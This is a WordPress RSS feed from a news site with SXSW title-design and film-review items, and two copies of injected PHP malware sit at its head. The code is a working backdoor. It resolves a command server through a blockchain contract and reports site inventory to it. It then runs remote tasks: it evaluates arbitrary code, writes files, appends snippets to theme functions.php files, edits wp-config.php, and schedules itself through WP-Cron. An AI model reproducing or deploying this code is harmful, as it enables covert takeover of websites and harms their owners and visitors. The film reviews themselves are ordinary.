// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); SXSW – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 04 Sep 2022 04:12:15 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png SXSW – Brief News https://briefnews.eu 32 32 SXSW 2020 Film Awards: Title Design Finalists https://briefnews.eu/sxsw-2020-film-awards-title-design-finalists/ https://briefnews.eu/sxsw-2020-film-awards-title-design-finalists/#respond Sun, 04 Sep 2022 04:12:15 +0000 https://briefnews.eu/sxsw-2020-film-awards-title-design-finalists/ SXSW 2020 Film Awards: Title Design Finalists

The SXSW 2020 Title Design Competition screening and judging process, set to take place on March 15th in Austin, Texas, was cancelled this year. So we’ve brought all the nominated work together here.

For title designers in the United States, there are few avenues for formal peer recognition. There is no Oscar for title sequence design. In the United Kingdom, there’s a BAFTA for Titles and Graphic Identity and in the United States, there’s a Primetime Emmy Award for Outstanding Main Title Design – but just for work in television. So other than the Emmys, which is limited to titles produced for TV, the most notable award for title design in the United States is given by SXSW. In fact, the SXSW Excellence in Main Title Design Award is medium- and genre-agnostic and this year the finalist title sequences span the fields of film, television, conferences, education, and music. 

On March 6, the 2020 edition of the SXSW Conference & Festivals was called off due to coronavirus concerns. Art of the Title’s Editor-in-Chief Lola Landekic was slated to be a judge at the Title Design Competition. The annual screening, usually presented in front of a large, enthusiastic audience and succeeded by a…

RSS & Email Subscribers: Check out the full SXSW 2020 Film Awards: Title Design Finalists article at Art of the Title.

]]> https://briefnews.eu/sxsw-2020-film-awards-title-design-finalists/feed/ 0 SXSW 2021 Film Awards: Title Design Finalists https://briefnews.eu/sxsw-2021-film-awards-title-design-finalists/ https://briefnews.eu/sxsw-2021-film-awards-title-design-finalists/#respond Wed, 31 Aug 2022 11:07:25 +0000 https://briefnews.eu/sxsw-2021-film-awards-title-design-finalists/ SXSW 2021 Film Awards: Title Design Finalists

The SXSW Title Design Competition, normally showcased in front of a large audience and featuring an in-person judging process in Austin, Texas, has been shifted to an all-digital experience for 2021. We’ve compiled all of the finalist title sequences here.

Last year on March 6, the 2020 edition of the SXSW Conference & Festivals was called off due to the onset of the COVID-19 pandemic. For 2021, the 28th annual SXSW Film Festival has moved entirely online, taking place from March 16 to 20. Normally the annual screening of finalists for the Excellence in Title Design Awards, part of the SXSW Film Festival, is presented in Austin, Texas, in front of a large enthusiastic audience and succeeded by a brief judging process. With only 15 finalists, the number of sequences up for an award this year appears to be the lowest it’s ever been – half of last year’s total of 30 — and many of the more established title design studios are noticeably absent so it’s good odds for an unusual year. Due to SXSW’s eligibility criteria, some sequences from last year appear again in this year’s list of finalists.

Update: Congratulations to title designer Saskia Marka on her Excellence in Title…

RSS & Email Subscribers: Check out the full SXSW 2021 Film Awards: Title Design Finalists article at Art of the Title.

]]> https://briefnews.eu/sxsw-2021-film-awards-title-design-finalists/feed/ 0 The Best and Worst Movies of the 2019 SXSW Film Festival https://briefnews.eu/the-best-and-worst-movies-of-the-2019-sxsw-film-festival/ https://briefnews.eu/the-best-and-worst-movies-of-the-2019-sxsw-film-festival/#respond Mon, 18 Mar 2019 16:31:45 +0000 http://briefnews.eu/the-best-and-worst-movies-of-the-2019-sxsw-film-festival/ Well folks, the scooters have been cleared, the venues have been hosed, and SXSW has come to a close. On Friday, your humble correspondent shared a few thoughts on the festival’s non-fiction offerings; here are my impressions on the best and worst of the rest.

(Jason Bailey / Flavorwire)

TEEVEE

SXSW was one of the first major film festivals to make television shows — usually premieres — part of their line-up (my first trip there included the debut of a little something called “Girls”). I mostly stuck to movies this year, but I couldn’t resist this bow:

What We Do in the Shadows

Taika Waititi and Jemaine Clement debuted the pilot episode of their FX adaptation of their 2014 cult fave (which itself played SXSW back in 2014). And though they’re certainly missed as performers, WWDITS TV adroitly harnesses the subversive inclinations and dry wit of the film, and finds further comic possibilities in the incongruence between the underworld and day-to-day roommate living; there are plenty of big laughs in the first half-hour, but the biggest is probably “And I deeply apologize for the Stairmaster.” (You’ll see.) And the show’s team seems to know they can’t merely coast in the invention of the source material — the first new addition to the mythos, an “energy vampire” who walks among us and sucks our life force via boring us to death (think the chattiest, dullest guy you work with) is a stroke of genius.

(Jason Bailey / Flavorwire)

THE BIG ONES

Studios love to bring a potential crowd-pleaser to SXSW, unveiling it to the notoriously rowdy crowd at the Paramount Theater and coasting on the post-screening Twitter buzz for weeks. This year’s offerings were a little more complicated.

Long Shot

There’s a lot to like in the latest collaboration between director Jonathan Levine and star Seth Rogen (Levine also helmed 50/50 and The Night Before), and an outsized percentage of that is Charlize Theron’s performance; it really seems like there’s nothing she can’t do (it’s kind of ridiculous, frankly). And Rogen is plenty charming, and gets his laughs. But he doesn’t really bother to create a character the way she does, and like so many of his movies, Long Shot is too damn long, too prone to sappiness, and too convinced that every sophisticated beauty is hot for stoner man-children. I get that he’s a personality comic, and he’s creating vehicles that center on that persona and bounce it off to the world at large. But if he should be careful, because if he doesn’t start trying a little harder, he could end up with movies that are less like late W.C. Fields and more like late Adam Sandler.

Stuber

One of this year’s wink-wink “work in progress” screenings (this sure looked done, except for the missing end credits), Stuber is a buddy cop action/comedy that very occasionally subverts the moldy clichés therein, but more often than not just embraces them. It checks a lot of boxes, from the incongruent soft pop accompaniment to a big action beat (they trot that out twice) to the big warehouse climax, and stumbles about as often as it soars. That said, it’s got a solid cast, and leads Kumail Nanjiani and Dave Bautista generate the right antagonistic dynamic; Nanjiani is especially welcome — his delivery and persona are so funny, he manages to turn even his weakest lines into big laughs.

Us

Jordan Peele’s Get Out only had one serious flaw, but it’s shared by his follow-up: he’s so skilled at crafting everyday, unsettling tension, and creating situations that are frightening for reasons you can’t quite put your finger on, that any explanation he offers is going to feel like a comedown. It’s a more pressing issue this time around, though certainly not enough to derail this sharp, frightening, strange mixture of home invasion thriller and doppelganger horror. Performances are smashing across the board, but Lupita Nyong’o is particularly bracing; her primary character is a convincing portrait of normalcy after trauma, but her scary half is the stuff of nightmares.

(SXSW)

CLOSE CALLS

There are elements to admire in these titles — a good performance here, a stylistic flourish there — but they just don’t quite come together.

Run This Town

Writer/director Ricky Tollman plunges us right in to his dramatization of the fall of Toronto mayor Rob Ford with lots of split screens and fast talk, and his film has a great, twitchy energy — maybe you need it when you’re telling the story of a crackhead mayor. It’s a two-pronged script, told from the perspective of the staff that kept propping Ford up and the journalists who tried to bring him down, and it’s technically impressive and well performed (though Damian Lewis’ “look how transformed I am” turn as Ford is a bit much). But Tollman is so busy dazzling us with his flashy editing and his stick-and-move chronology that he ends up muddying up the narrative; you can tell he’s watched a lot of Sidney Lumet, without noticing that Lumet knew the value of just telling his story straight.

The Beach Bum

Harmony Korine’s latest begins promisingly, using stream of consciousness cutting and sun-soaked photography to illustrate the day-to-day of Moondog (Matthew McConaughey), a zonked-out former author who spends his days and nights moving through Key West in a pot and beer haze. It’s a portrait of decadence that’s playful and evocative; the problem is, that’s all Korine’s got. Things happen to Moondog, but the picture’s style and storytelling remain maddeningly constant, so The Beach Bum is exhausting in the way so much of Korine’s work is — he’s riding out the same groove, the same tiresome tone of gleeful bad behavior, for so long that it becomes monotonous. By the second hour, this viewer was overcome by the oddest sensation: the realization that, taken in too large a dose, even hedonism can get dull.

(SXSW)

BEST OF THE FEST (RUNNERS-UP)

The Art of Self-Defense

Riley Stearns (Faults) writes and directs this horrifyingly funny story of a painfully mild-mannered accountant (Jesse Eisenberg, presumably doing pittance for Batman v Superman) who gets absolutely wailed on by muggers and decides to learn karate, because “I want to be what intimidates me.” Alessandro Nivola is his instructor, a quiet yet firm voice of male affirmation (it’s a sublime performance) who turns him into a toxic tough guy — and then keeps pushing. Art is both wildly funny and deeply disturbing, and though Sterns has some trouble navigating the turns into bleaker territory, his closing passages are jaw-dropping.

La Mala Noche (The Longest Night)

A tough, hard movie from Ecuador and Mexico, in which an aging sex worker finally loses control of her spiraling existence. She’s got problems, with drugs and debt and family, but writer/director Gabriela Calvache approaches her with humanity rather than judgment, as well as a keen understanding of the various forces that keep her exactly where she is. In other words, it’s a vivid character drama for an hour or so, and then it really kicks into high gear with a tense, scary climax that snaps all the seemingly disparate pieces together. Probably too grim for a general audience, to be certain, but those who can lock in with this one will be richly rewarded.

Sword of Trust

If Mel, the cranky pawnshop owner played by Marc Maron in Lynn Shelton’s latest, wasn’t created specifically for the comic/actor/podcaster, it was certainly reconfigured for him: his backstory includes moving from New Mexico to New York City, flirting with music, and going from chaotic and addicted to mellow and sober. He wears this guy as comfortably as the cowboy boots he acquires in its opening scene, and his lived-in performance is the main draw of this light but affable comedy/drama — though Jillian Bell, Jon Bass, and Michaela Watkins all have their moments, and Shelton’s direction is (as ever) detailed and economical.

(SXSW)

BEST OF THE FEST

Pink Wall

